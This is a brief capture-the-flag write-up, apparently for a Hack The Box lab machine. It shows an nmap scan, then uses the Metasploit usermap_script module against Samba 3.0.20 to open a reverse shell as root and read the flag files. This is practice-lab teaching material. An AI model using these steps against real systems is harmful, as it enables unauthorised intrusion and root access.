Starting off with an NMAP scan for some discovery

```
-[eu-vip-9]-[10.10.14.5]-[htb-jynxz@htb-p0h0bmwasw]-[~]
   - [★]$ sudo nmap -sV -sS 10.10.10.3
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-03 14:54 BST
Nmap scan report for 10.10.10.3
Host is up (0.077s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT
        STATE SERVICE
                          VERSION
21/tcp open ftp
                          vsftpd 2.3.4
                          OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
22/tcp open ssh
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux kernel
```

Some samba versions like 3.0.20 - 3.0.25 are vulnerable to **multi/samba/usermap_script** which provides a reverse tcp connection through msfconsole, quickly verify that with **auxiliary/scanner/smb/smb_version** and we can see the Samba version is 3.0.20 which we now know is vulnerable

use exploit/multi/samba/usermap_script and we enter in the RHOST which is the target IP, LHOST which is our tun0 and LPORT 1234 for our reverse TCP connection. In this instance I had started a netcat listener by mistake, just had to terminate that and the connection worked.

With a shell session now open on the target we can do some looking around to see who we are and with what access with a whoami and some file discovery. In this instance we see that we are root! and we can grab the flag

```
.Xauthority
.bash history
.bashrc
.config
.filezilla
.fluxbox
.gconf
.gconfd
.gstreamer-0.10
.mozilla
.profile
.purple
.rhosts
.ssh
.vnc
Desktop
reset logs.sh
root.txt
vnc.log
whoami
root
cat root.txt
```

Now searching around for some more interesting files we find makis with the user.txt flag inside as well

```
cd home

ls

ftp

makis

service

user

cd makis

ls_data

user.txt

cat user.txt
```